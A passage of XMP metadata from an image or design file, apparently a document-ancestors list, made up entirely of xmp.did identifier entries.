               <rdf:li>xmp.did:069AC01433C211E0AA8582F7083052C8</rdf:li>
               <rdf:li>xmp.did:069E61B2CCB211DFAC2D95EB3860F061</rdf:li>
               <rdf:li>xmp.did:06A12A9D0B206811994CB333F17797A8</rdf:li>
               <rdf:li>xmp.did:06AA627507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:06BD55BD10206811B34BB52CE54CA8C4</rdf:li>
               <rdf:li>xmp.did:06C898CD362068118DBBF25A301E109F</rdf:li>
               <rdf:li>xmp.did:06DE1FA3CC216811A9618E6B5A2E8B49</rdf:li>
               <rdf:li>xmp.did:070FCEACE273E011856EEA056CD0539A</rdf:li>
               <rdf:li>xmp.did:0716834A66DEE0119A01E27F4D86A62B</rdf:li>
               <rdf:li>xmp.did:07228975072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:0764F0FC39206811920BD6CB55DF7E21</rdf:li>
               <rdf:li>xmp.did:0769CDE32FD9E011A304F9B324370AF3</rdf:li>
               <rdf:li>xmp.did:07801174072068118083B4CF75DDC766</rdf:li>
               <rdf:li>xmp.did:0780117407206811871F92391D433BE2</rdf:li>
               <rdf:li>xmp.did:0780117407206811871FBA74EA72A8F8</rdf:li>
               <rdf:li>xmp.did:078011740720681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:078011740720681188C6CAC5BEF2CC51</rdf:li>
               <rdf:li>xmp.did:07801174072068118A6DD34822AA2C68</rdf:li>
               <rdf:li>xmp.did:07801174072068118DBBE31A192FEEDC</rdf:li>
               <rdf:li>xmp.did:07801174072068118F6288F23A50D5DD</rdf:li>
               <rdf:li>xmp.did:07801174072068119109DDBC5677155C</rdf:li>
               <rdf:li>xmp.did:07801174072068119109E629E56C6A1E</rdf:li>
               <rdf:li>xmp.did:07801174072068119109FB43F0835315</rdf:li>
               <rdf:li>xmp.did:07801174072068119109FE105A64EFB7</rdf:li>
               <rdf:li>xmp.did:07801174072068119457905C16F6CCBC</rdf:li>
               <rdf:li>xmp.did:078011740720681195FEA924E682D366</rdf:li>
               <rdf:li>xmp.did:078011740720681195FEEBA8E785237C</rdf:li>
               <rdf:li>xmp.did:078011740720681197A5BD42FA1E1B02</rdf:li>
               <rdf:li>xmp.did:078011740720681197A5E50E43358A50</rdf:li>
               <rdf:li>xmp.did:0780117407206811A72CF339EEA0CCAD</rdf:li>
               <rdf:li>xmp.did:0780117407206811AE56D5C2EFF83E18</rdf:li>
               <rdf:li>xmp.did:0780117407206811B0F3CD0CC0D28900</rdf:li>
               <rdf:li>xmp.did:0780117407206811BBF2EE6760A42A81</rdf:li>
               <rdf:li>xmp.did:0780117407206811BEB789E23D201984</rdf:li>
               <rdf:li>xmp.did:0780117407206811BF7DF951D6D80910</rdf:li>
               <rdf:li>xmp.did:0796F2FF2720681192B0C5B632F0693B</rdf:li>
               <rdf:li>xmp.did:079A27E23AB4E011BE8CF11314515779</rdf:li>
               <rdf:li>xmp.did:07C570EC072168118F62F528033224EB</rdf:li>
               <rdf:li>xmp.did:07CD0D92A8A4E1118B5BB09F1840BD4B</rdf:li>
               <rdf:li>xmp.did:07D85B194F21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:07D9F1355B75E0118C16D7122F2C5995</rdf:li>
               <rdf:li>xmp.did:08084073AF60E011AFA79E3A4F01158E</rdf:li>
               <rdf:li>xmp.did:08228975072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:08801174072068118083DB8F1A026FAD</rdf:li>
               <rdf:li>xmp.did:0880117407206811871FB03D861007B1</rdf:li>
               <rdf:li>xmp.did:0880117407206811871FFE11C8ACA7AE</rdf:li>
               <rdf:li>xmp.did:08801174072068118A6D92FD3A28037E</rdf:li>
               <rdf:li>xmp.did:08801174072068118A6DE3227BBC4D54</rdf:li>
               <rdf:li>xmp.did:08801174072068118C14D44A0A15BF12</rdf:li>
               <rdf:li>xmp.did:08801174072068118F628C5BC7FF1E1F</rdf:li>
               <rdf:li>xmp.did:08801174072068119109CCD1D363C3A1</rdf:li>
               <rdf:li>xmp.did:08801174072068119109DC63A0AEE0C1</rdf:li>
               <rdf:li>xmp.did:088011740720681192B080BDF09D73D4</rdf:li>
               <rdf:li>xmp.did:088011740720681192B0BCCE1816D9E6</rdf:li>
               <rdf:li>xmp.did:0880117407206811932D9C140B37520B</rdf:li>
               <rdf:li>xmp.did:0880117407206811994C9C0FE8D4F265</rdf:li>
               <rdf:li>xmp.did:0880117407206811994CD195484899AC</rdf:li>
               <rdf:li>xmp.did:08801174072068119BB8D11444C5B9CA</rdf:li>
               <rdf:li>xmp.did:0880117407206811A195E33BF38323D9</rdf:li>
               <rdf:li>xmp.did:0880117407206811A7BADCCEF0BE3C8D</rdf:li>
               <rdf:li>xmp.did:0880117407206811B699ADE2312DA5AD</rdf:li>
               <rdf:li>xmp.did:088257760720681188C6FBA7DFD8364D</rdf:li>
               <rdf:li>xmp.did:088A5D49B92068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:088D6ED2437011E088D29E4C0233231A</rdf:li>
               <rdf:li>xmp.did:088F6FA571206811808383758E6AB92B</rdf:li>
               <rdf:li>xmp.did:08AA627507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:09176C0C8F13E21182C380803AEC3D47</rdf:li>
               <rdf:li>xmp.did:092C276A5DF411E0A80E8127450A213E</rdf:li>
               <rdf:li>xmp.did:094486DF2220681192B0E1AD386E2BCF</rdf:li>
               <rdf:li>xmp.did:094768F81B2068119109C4FE675FAAFC</rdf:li>
               <rdf:li>xmp.did:097A9C227A60E011A98E8847F89F8D20</rdf:li>
               <rdf:li>xmp.did:09801174072068118083AFE81BBB41F0</rdf:li>
               <rdf:li>xmp.did:098011740720681181E3E87C96E3D704</rdf:li>
               <rdf:li>xmp.did:0980117407206811822AF12E3F4EA419</rdf:li>
               <rdf:li>xmp.did:0980117407206811859EE31FF8DDBE8D</rdf:li>
               <rdf:li>xmp.did:0980117407206811871FD8AA5A0491ED</rdf:li>
               <rdf:li>xmp.did:098011740720681188C693478506D2F9</rdf:li>
               <rdf:li>xmp.did:09801174072068118C149339A6CC4AB2</rdf:li>
               <rdf:li>xmp.did:09801174072068118DBB92791FD53C0C</rdf:li>
               <rdf:li>xmp.did:09801174072068118DBBA6928D4C618E</rdf:li>
               <rdf:li>xmp.did:09801174072068118DBBCBF22EEF9D1D</rdf:li>
               <rdf:li>xmp.did:09801174072068119109A1D7CAD7CE64</rdf:li>
               <rdf:li>xmp.did:0980117407206811A613FACC98434A0A</rdf:li>
               <rdf:li>xmp.did:0980117407206811A961F3E9171ECDC7</rdf:li>
               <rdf:li>xmp.did:0980117407206811AB08DB6851C86A21</rdf:li>
               <rdf:li>xmp.did:0980117407206811AEE4ECC20A5D0880</rdf:li>
               <rdf:li>xmp.did:0980117407206811AF899EE41BFA823A</rdf:li>
               <rdf:li>xmp.did:0980117407206811B1A4F894E8A7A910</rdf:li>
               <rdf:li>xmp.did:0980117407206811B8408E94AFED0CC6</rdf:li>
               <rdf:li>xmp.did:0983916D36206811AE5686BED69CECD7</rdf:li>
               <rdf:li>xmp.did:09B542E7BA21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:09B6E9051620681197A5A7582C19A1FC</rdf:li>
               <rdf:li>xmp.did:09BA72544F0EE011AF14CB98EFAB4DA6</rdf:li>
               <rdf:li>xmp.did:09C6DC5B16D7E011BEF8AB197AD7107E</rdf:li>
               <rdf:li>xmp.did:09D6841FC703E111B3B9D248B834FA0F</rdf:li>
               <rdf:li>xmp.did:09DDD7D4D6206811BB37D81EA9E9F402</rdf:li>
               <rdf:li>xmp.did:09F76F48C3C7DE11925FE106D59B22C8</rdf:li>
               <rdf:li>xmp.did:0A260B4920081168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:0A45DB531F206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:0A483A276D2068119457B4E8E216C3A8</rdf:li>
               <rdf:li>xmp.did:0A6D904091B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:0A80117407206811808393D1ADB6772F</rdf:li>
               <rdf:li>xmp.did:0A80117407206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:0A80117407206811871FF47DC91DE11F</rdf:li>
               <rdf:li>xmp.did:0A8011740720681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:0A8011740720681188C6C5D9DC520BD2</rdf:li>
               <rdf:li>xmp.did:0A8011740720681188C6C9310BDF4FED</rdf:li>
               <rdf:li>xmp.did:0A801174072068118A6D903F25026836</rdf:li>
               <rdf:li>xmp.did:0A801174072068118A6D98DBEA6F1AFD</rdf:li>
               <rdf:li>xmp.did:0A801174072068118A6DC5C740EBC4EC</rdf:li>
               <rdf:li>xmp.did:0A801174072068118DBB913A1E1DD763</rdf:li>
               <rdf:li>xmp.did:0A801174072068118DBBD5A518D03C68</rdf:li>
               <rdf:li>xmp.did:0A801174072068118DBBEE8FF21414E6</rdf:li>
               <rdf:li>xmp.did:0A801174072068118F62BCCCF07169DE</rdf:li>
               <rdf:li>xmp.did:0A801174072068118F62E601B48A9F82</rdf:li>
               <rdf:li>xmp.did:0A801174072068119109DC63A0AEE0C1</rdf:li>
               <rdf:li>xmp.did:0A801174072068119109E067A35E077B</rdf:li>
               <rdf:li>xmp.did:0A8011740720681192B0F8DCDB7AEC46</rdf:li>
               <rdf:li>xmp.did:0A801174072068119457A65110A2A265</rdf:li>
               <rdf:li>xmp.did:0A8011740720681195FEDF4883024447</rdf:li>
               <rdf:li>xmp.did:0A80117407206811A613B4EE39B4D58C</rdf:li>
               <rdf:li>xmp.did:0A80117407206811AE56D84ACAF35011</rdf:li>
               <rdf:li>xmp.did:0A80117407206811B840D851FFEFE01F</rdf:li>
               <rdf:li>xmp.did:0A9127C42E206811B82FAD2229F639D0</rdf:li>
               <rdf:li>xmp.did:0A919B860E20681188C6A25D326CA38D</rdf:li>
               <rdf:li>xmp.did:0AAA627507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:0AB5DD492D93E011A111DCD927BA44B0</rdf:li>
               <rdf:li>xmp.did:0AECA841452AE011B04DD36F372B9B80</rdf:li>
               <rdf:li>xmp.did:0B5617F5B964E011AB9D8F8907501716</rdf:li>
               <rdf:li>xmp.did:0B8A5D49B92068118F62C932B7D889BA</rdf:li>
               <rdf:li>xmp.did:0BA77AE0312068119109A41E1689D885</rdf:li>
               <rdf:li>xmp.did:0BAB2DFAAB99E111B7A0F5291D688482</rdf:li>
               <rdf:li>xmp.did:0BDD94A40A20681197A59E6566F01E60</rdf:li>
               <rdf:li>xmp.did:0BE5979B8E75E011B40595F88E78888A</rdf:li>
               <rdf:li>xmp.did:0BF11FD1DE22DF118E04DE7FDFD8DEB5</rdf:li>
               <rdf:li>xmp.did:0BFF53863B86E0119BAEF4683C7445CC</rdf:li>
               <rdf:li>xmp.did:0C2E897730BDE011A9D3ECE7ED8805E2</rdf:li>
               <rdf:li>xmp.did:0C45DB531F206811871FBF7EE03058F8</rdf:li>
               <rdf:li>xmp.did:0C483A276D2068119457B4E8E216C3A8</rdf:li>
               <rdf:li>xmp.did:0C5684DA0B8EE111BBC5E1BED2FFAC2A</rdf:li>
               <rdf:li>xmp.did:0C6188EDBC1BDF11BE488DB0BB394C1B</rdf:li>
               <rdf:li>xmp.did:0C7ECD41DA0511DF8AFEC5441030B132</rdf:li>
               <rdf:li>xmp.did:0CAA42861A1FE01184A78CD54F652B67</rdf:li>
               <rdf:li>xmp.did:0CB5DD492D93E011A111DCD927BA44B0</rdf:li>
               <rdf:li>xmp.did:0CCF6644C8A6E011979696CECC20A286</rdf:li>
               <rdf:li>xmp.did:0D0AB914E8FCDF119A3788D07212533D</rdf:li>
               <rdf:li>xmp.did:0D14AC8D9CE111DF82FB9410A1B83330</rdf:li>
               <rdf:li>xmp.did:0D33C8A66044E0118098A483BCBB8F84</rdf:li>
               <rdf:li>xmp.did:0D41A0978D88E011A9BC97A30FB23604</rdf:li>
               <rdf:li>xmp.did:0D9A9BFCEE7FE01182DFD33A26DD6908</rdf:li>
               <rdf:li>xmp.did:0DACA6E71F2068118DBBAAE1F918AC30</rdf:li>
               <rdf:li>xmp.did:0DC2B982FBA5E011A4FEE67DFDD7FB36</rdf:li>
               <rdf:li>xmp.did:0E2383CC272068119109827B1118762F</rdf:li>
               <rdf:li>xmp.did:0E2AC53BD72168119109CA2496A1ABE5</rdf:li>
               <rdf:li>xmp.did:0E8B5875072068118A6DB4BBC8F8D86B</rdf:li>
               <rdf:li>xmp.did:0EA6FF1E69FEE211858AF45F42256895</rdf:li>
               <rdf:li>xmp.did:0EAA627507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:0EBEF5DD4A40E11193A1A57288122511</rdf:li>
               <rdf:li>xmp.did:0EF0208AA3BEE111BE31A13055664FEC</rdf:li>
               <rdf:li>xmp.did:0F130344F4B7E011BF21E8B97E2AD4F7</rdf:li>
               <rdf:li>xmp.did:0F1E6B74072068118A6DC6E59443B119</rdf:li>
               <rdf:li>xmp.did:0F2BB5962FF8E011B95FD056A5B73C84</rdf:li>
               <rdf:li>xmp.did:0F30D59357C8E011BEF0A37AC8AFF6B8</rdf:li>
               <rdf:li>xmp.did:0F8AEB5E6C51E111ABFFDC36323641F6</rdf:li>
               <rdf:li>xmp.did:0FC5DEFB4ED511E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:100823B1CB0FDF119A0D9CB73A16B779</rdf:li>
               <rdf:li>xmp.did:10114F641020681188C6DC6FC229AC30</rdf:li>
               <rdf:li>xmp.did:104705740FEDE011964DBC9E2D3B124D</rdf:li>
               <rdf:li>xmp.did:1056F28443206811871FAD1712232242</rdf:li>
               <rdf:li>xmp.did:1085A4F83DD011E0A5E4E63061587FB7</rdf:li>
               <rdf:li>xmp.did:1087437407206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:109958AEE520681192B0A64B4373937D</rdf:li>
               <rdf:li>xmp.did:10A4D78D24DAE11185BEBEEF077938ED</rdf:li>
               <rdf:li>xmp.did:10B6D3B99733E011A782B4747E3F2AF8</rdf:li>
               <rdf:li>xmp.did:10C249B651206811AE568088196B6FA8</rdf:li>
               <rdf:li>xmp.did:10CC2DEED8246811871FDE311F11AE1F</rdf:li>
               <rdf:li>xmp.did:10CF6644C8A6E011979696CECC20A286</rdf:li>
               <rdf:li>xmp.did:10D230654720E011826ADF008B92143E</rdf:li>
               <rdf:li>xmp.did:10E3D974072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:10ED543414206811A6579117B049408B</rdf:li>
               <rdf:li>xmp.did:11130344F4B7E011BF21E8B97E2AD4F7</rdf:li>
               <rdf:li>xmp.did:119A01FA9E2068119022D6BA6E344F5A</rdf:li>
               <rdf:li>xmp.did:119B03C983CA11DF8F388068874D899E</rdf:li>
               <rdf:li>xmp.did:11A77212D348E011B6BAB55D64F5962D</rdf:li>
               <rdf:li>xmp.did:11BA832D6BC1DF118D79B50CF972FA86</rdf:li>
               <rdf:li>xmp.did:11DA73F97651E011BE81E9020DDBEE42</rdf:li>
               <rdf:li>xmp.did:11EB4CA32EE3DF1180ACE3EE295F2C5B</rdf:li>
               <rdf:li>xmp.did:11FB407FDBE5DF119CEFD33EC3DF08E5</rdf:li>
               <rdf:li>xmp.did:121682AA0BFBE0119083AEC80EF265DA</rdf:li>
               <rdf:li>xmp.did:1234E5770A206811822A98FCCCDFFC7E</rdf:li>
               <rdf:li>xmp.did:12427A9E4FF8E011928BEC0AEA6EB92E</rdf:li>
               <rdf:li>xmp.did:128BC47B2F20681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:12B6375A0E206811822AAEB57B3841C0</rdf:li>
               <rdf:li>xmp.did:12E03B30152868118F62D645B52694F8</rdf:li>
               <rdf:li>xmp.did:12E7F6BE562DE0118E3BFF515E28470D</rdf:li>
               <rdf:li>xmp.did:12EB4CA32EE3DF1180ACE3EE295F2C5B</rdf:li>
               <rdf:li>xmp.did:12ECDFCC6918E0118317A5126B184C9C</rdf:li>
               <rdf:li>xmp.did:130A524B4885E011845BA92E9D70F706</rdf:li>
               <rdf:li>xmp.did:130F0792073711E2A496EA31311299BA</rdf:li>
               <rdf:li>xmp.did:1324B70DE01FE111896FE48444E6BF67</rdf:li>
               <rdf:li>xmp.did:136FC6000A2068118DBB90708B5C4BE8</rdf:li>
               <rdf:li>xmp.did:137CEEFEB301E011856083961C73D400</rdf:li>
               <rdf:li>xmp.did:139C6ED120081168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:13B748432EA2E0118D04E5AB37155918</rdf:li>
               <rdf:li>xmp.did:13BA832D6BC1DF118D79B50CF972FA86</rdf:li>
               <rdf:li>xmp.did:13CE3DFD8D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:13E982BCEDB0DF11A1DAE19584408CC7</rdf:li>
               <rdf:li>xmp.did:13EB4CA32EE3DF1180ACE3EE295F2C5B</rdf:li>
               <rdf:li>xmp.did:13ECBBB17E1CDF118D4EF1C33EDDA687</rdf:li>
               <rdf:li>xmp.did:13F3CCA911D3DF11A010C6ABD7BB9BD9</rdf:li>
               <rdf:li>xmp.did:1405CBF03BF711E0909EA53496E0FC1C</rdf:li>
               <rdf:li>xmp.did:1405CBF43BF711E0909EA53496E0FC1C</rdf:li>
               <rdf:li>xmp.did:140EB6EB352E6811871FF5CCD868046F</rdf:li>
               <rdf:li>xmp.did:141682AA0BFBE0119083AEC80EF265DA</rdf:li>
               <rdf:li>xmp.did:1437CB2E34E9DE118EC4B76DFBF31F4B</rdf:li>
               <rdf:li>xmp.did:14452A74072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:144C62F9830311E0B62FB7127DA0FEAF</rdf:li>
               <rdf:li>xmp.did:1452EB770C20681197A59D8AF82B3DB2</rdf:li>
               <rdf:li>xmp.did:145F3D5A96BD11DF9A7FBB5BBBCCCBEA</rdf:li>
               <rdf:li>xmp.did:148B5875072068118A6DB4BBC8F8D86B</rdf:li>
               <rdf:li>xmp.did:148E99FF8943E211A5B7E7487AB23E91</rdf:li>
               <rdf:li>xmp.did:1497B69A2FC0E011B658AF0038CD9AF0</rdf:li>
               <rdf:li>xmp.did:149AEF289F20681192B0A9A85A8A7D16</rdf:li>
               <rdf:li>xmp.did:149C8558F373E0119389FF7D0DABFC0C</rdf:li>
               <rdf:li>xmp.did:14B665E20AF2E111AC1C9892CAA740E0</rdf:li>
               <rdf:li>xmp.did:14E2877AEF86E011A5859726980D629F</rdf:li>
               <rdf:li>xmp.did:14F64E789CE111DFB2E3D6893F51AB44</rdf:li>
               <rdf:li>xmp.did:1505F9A4182068119989A1684C255F84</rdf:li>
               <rdf:li>xmp.did:15452A74072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:154F526AB7FCDF118B1C8E78BC400721</rdf:li>
               <rdf:li>xmp.did:1588ABA64B7EDF118BB3FD3FFFE50FBC</rdf:li>
               <rdf:li>xmp.did:159701940D2068118F62D105B094CB46</rdf:li>
               <rdf:li>xmp.did:15B6D3B99733E011A782B4747E3F2AF8</rdf:li>
               <rdf:li>xmp.did:15BA832D6BC1DF118D79B50CF972FA86</rdf:li>
               <rdf:li>xmp.did:15C9895284D3DF11B5A1BCED77057419</rdf:li>
               <rdf:li>xmp.did:15D8268CA080E01186C6CD9A607711C6</rdf:li>
               <rdf:li>xmp.did:15FAFFF52B2068119457D5C82447A0CD</rdf:li>
               <rdf:li>xmp.did:1618575D7C0111E2BC7BC3A69E2D4329</rdf:li>
               <rdf:li>xmp.did:1630586DC9E3E0118D4BE9BCF87F398E</rdf:li>
               <rdf:li>xmp.did:1634BB2329E4E011814D9DD93997204C</rdf:li>
               <rdf:li>xmp.did:164CF7D73E206811B699A901380E7BA5</rdf:li>
               <rdf:li>xmp.did:165451EAB1A8E1119401F15FC606D9C7</rdf:li>
               <rdf:li>xmp.did:168BC47B2F20681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:16B5EA561C21681191099A139FF76C18</rdf:li>
               <rdf:li>xmp.did:16C78E21A7C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:1703EFFE0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:170D88549921681188C6813C27C46372</rdf:li>
               <rdf:li>xmp.did:17385DBEFB20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:174F73FD1D2068118F62B7B395B16841</rdf:li>
               <rdf:li>xmp.did:176A42696DCCDF11B4C780F3440113A1</rdf:li>
               <rdf:li>xmp.did:1772B43443206811AE1283FBE2BD051D</rdf:li>
               <rdf:li>xmp.did:17771ABE585D11E0AE1B975C06C75562</rdf:li>
               <rdf:li>xmp.did:179713BA272068118F62B88BBDD1F4FF</rdf:li>
               <rdf:li>xmp.did:17A40CDC2D20681188C6A32BCEEA4F9A</rdf:li>
               <rdf:li>xmp.did:17B354781DA9E1118E38EECA87ED9AA3</rdf:li>
               <rdf:li>xmp.did:17BA832D6BC1DF118D79B50CF972FA86</rdf:li>
               <rdf:li>xmp.did:17D4795219206811994C9AA37B1758FD</rdf:li>
               <rdf:li>xmp.did:17F416570465E011B81DDB3FD1D3B3F3</rdf:li>
               <rdf:li>xmp.did:18269F271B20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:182F0E2D0C20681197A5F0028D7E1C8B</rdf:li>
               <rdf:li>xmp.did:18407EA49F74DF11B9ADF501B1FEEC5B</rdf:li>
               <rdf:li>xmp.did:184209B407206811871FBEFC9746F5C9</rdf:li>
               <rdf:li>xmp.did:18503ACC11206811A7BADD5938E42519</rdf:li>
               <rdf:li>xmp.did:1852543273EAE011B109C2AAB0969E14</rdf:li>
               <rdf:li>xmp.did:187271F3BA206811A961AF349CA669AF</rdf:li>
               <rdf:li>xmp.did:189683811C2068118F62D1CE22A23E3D</rdf:li>
               <rdf:li>xmp.did:18A6A5FAB913E01180DACEB1E4B080FC</rdf:li>
               <rdf:li>xmp.did:18C78E21A7C5DF1186FD9AC5454215DA</rdf:li>
               <rdf:li>xmp.did:18E040BF726B11E096478444BF297328</rdf:li>
               <rdf:li>xmp.did:18F1103E54C3DF11AAE49CD88AA644AB</rdf:li>
               <rdf:li>xmp.did:18FE1CEEFD20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:192E36464D59DF1182CFBFA4CFFF08B5</rdf:li>
               <rdf:li>xmp.did:194D6986AAE2DF11923FF0A6E5FA3686</rdf:li>
               <rdf:li>xmp.did:1990B25A12216811871FAE052E76F513</rdf:li>
               <rdf:li>xmp.did:19A58439D632E0118BADC81F3A6E89DF</rdf:li>
               <rdf:li>xmp.did:19BD91D2C2AEE111A22E9FBD4DBCFF32</rdf:li>
               <rdf:li>xmp.did:19CE3DFD8D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:19FFAA75072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:1A2B747324206811B692FCB42A29669C</rdf:li>
               <rdf:li>xmp.did:1A3A6F34ED45E111B755E2483C603801</rdf:li>
               <rdf:li>xmp.did:1A5E8EB707206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:1A6A210EBD21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:1A7CD2CDFB17E111A7ABA891D08DF9A5</rdf:li>
               <rdf:li>xmp.did:1A94536A323A11E0A7B8D76BEBDDFBE4</rdf:li>
               <rdf:li>xmp.did:1AB777227629E0119AD1B945C1964BAE</rdf:li>
               <rdf:li>xmp.did:1ABE15B83C4BE111B064B2FC5BFF1CD3</rdf:li>
               <rdf:li>xmp.did:1AF9161A3BEEE011A9DF846220E748C2</rdf:li>
               <rdf:li>xmp.did:1B1EFFEC6313DF11A719F1AF52661082</rdf:li>
               <rdf:li>xmp.did:1B61A465988DDF11B96ADBDD437880CB</rdf:li>
               <rdf:li>xmp.did:1B8BC47B2F20681180839613FFBBFAAC</rdf:li>
               <rdf:li>xmp.did:1BA41BC04EBE11E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:1BCB511C2D5DE11194899C21C94EEE00</rdf:li>
               <rdf:li>xmp.did:1BD68F182475E1119319DC8D4C6CB405</rdf:li>
               <rdf:li>xmp.did:1BD6A30692A8E0118BA8F2782CB3F003</rdf:li>
               <rdf:li>xmp.did:1C01C42FF620681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:1C03146227226811AF6F8C15B6994DA7</rdf:li>
               <rdf:li>xmp.did:1C03BFA50A2068118DBBAD0D202BA5BB</rdf:li>
               <rdf:li>xmp.did:1C269F271B20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:1C73AF8D566CE211B6D0B7F5654C294A</rdf:li>
               <rdf:li>xmp.did:1C80239D254FE011B86EE5F6B6C9D963</rdf:li>
               <rdf:li>xmp.did:1C82067507206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:1C8EACA5E0C7E0118120877E7D8B11F3</rdf:li>
               <rdf:li>xmp.did:1C9133D580DDE011A631DC0D0ADE973E</rdf:li>
               <rdf:li>xmp.did:1CAC2C7D2420681188C6D631008CA0EC</rdf:li>
               <rdf:li>xmp.did:1CBC007C37E8E01188DACD40C8ED59DE</rdf:li>
               <rdf:li>xmp.did:1CCA9CB4997CE111AB9FC72E22773486</rdf:li>
               <rdf:li>xmp.did:1CCF6619A3A8DF11B402D829E1AF718C</rdf:li>
               <rdf:li>xmp.did:1CDED48E0720681197A599DDC1262833</rdf:li>
               <rdf:li>xmp.did:1CFE1CEEFD20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:1D012E9EC9C3DF1190EED90E3B79DA34</rdf:li>
               <rdf:li>xmp.did:1D0682D8122068119109A276E6305D40</rdf:li>
               <rdf:li>xmp.did:1D06EF8E726B11E08CB3DF7C657CD3E9</rdf:li>
               <rdf:li>xmp.did:1D3E55F9E1C9E211A6AA9DF07FA2979A</rdf:li>
               <rdf:li>xmp.did:1D51DAA7222268119109F828D8DAF436</rdf:li>
               <rdf:li>xmp.did:1D541901DF4BE011B3A2B8E9249F1B48</rdf:li>
               <rdf:li>xmp.did:1D6E4373AC5FDF11A68ED251FF23EC34</rdf:li>
               <rdf:li>xmp.did:1D794D3196A0E011BA5FA492FDC2C4B6</rdf:li>
               <rdf:li>xmp.did:1DAA461E67C1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:1DB93560A354E011886AEFB3EE7B5503</rdf:li>
               <rdf:li>xmp.did:1DBC007C37E8E01188DACD40C8ED59DE</rdf:li>
               <rdf:li>xmp.did:1DCE20896E67E11198A3BF5860BEAAEA</rdf:li>
               <rdf:li>xmp.did:1DD66138562468118DBBDC4B04E3CD7D</rdf:li>
               <rdf:li>xmp.did:1DDA0DAFE025E011AAA2BA205A7F56F7</rdf:li>
               <rdf:li>xmp.did:1DED8CFF57BBDF118185E1BC98F91251</rdf:li>
               <rdf:li>xmp.did:1E030893602268118A6DFDB307F75ACB</rdf:li>
               <rdf:li>xmp.did:1E059DA44734E011AD25903082F159FB</rdf:li>
               <rdf:li>xmp.did:1E2F2A12F103E011BADBF75F8C4ED1AF</rdf:li>
               <rdf:li>xmp.did:1E43266C132068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:1E54133C522BE311BDBBBB1ACD068FF7</rdf:li>
               <rdf:li>xmp.did:1E6C572517206811822A93705883F21A</rdf:li>
               <rdf:li>xmp.did:1E7E6F2C19E8E1119DFDF0AAA80BF1AE</rdf:li>
               <rdf:li>xmp.did:1EBF83355E39E011A5BCB85F678484D1</rdf:li>
               <rdf:li>xmp.did:1EC0AD1472DFE011BAC7F7CD194FE1BE</rdf:li>
               <rdf:li>xmp.did:1EFE1CEEFD20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:1F0CFC1881D2E011ADE2D83AE7E5D167</rdf:li>
               <rdf:li>xmp.did:1F0E31230A20681192B0D4E402E58F0C</rdf:li>
               <rdf:li>xmp.did:1F10B074072068118A6DFDDFF2BD3A03</rdf:li>
               <rdf:li>xmp.did:1F126E8CC961E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:1F1D7FCAFE81DF11982BEF51EBA56B3D</rdf:li>
               <rdf:li>xmp.did:1F268A4C84F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:1F4ACF100953E111843196A29CDF330F</rdf:li>
               <rdf:li>xmp.did:1F52A175072068118A6D8C8584E42AF0</rdf:li>
               <rdf:li>xmp.did:1F70BE4FE3F5E011A5E3EF2088A297DE</rdf:li>
               <rdf:li>xmp.did:1F9133D580DDE011A631DC0D0ADE973E</rdf:li>
               <rdf:li>xmp.did:1FB0C34E09206811A7BA998831A2C73E</rdf:li>
               <rdf:li>xmp.did:1FB510D7F0F511E2A49CC3D0FA4E7EE7</rdf:li>
               <rdf:li>xmp.did:1FB94F61DAABDF118EBF85C265536C69</rdf:li>
               <rdf:li>xmp.did:1FCF8E90102068119457BD2B53A199A4</rdf:li>
               <rdf:li>xmp.did:1FE3A640427AE011A4D3C40ADA3B0913</rdf:li>
               <rdf:li>xmp.did:20097E60662DDF119736E0BAAF1A32B3</rdf:li>
               <rdf:li>xmp.did:202A809B7F22E11180C4C50F43D33F1D</rdf:li>
               <rdf:li>xmp.did:20954B6E3791E0119DE0C72DBAF511EC</rdf:li>
               <rdf:li>xmp.did:209F2CC072226811AF46BCB7AA22AA67</rdf:li>
               <rdf:li>xmp.did:20B881312B20681192B0EDAAC00D9FEC</rdf:li>
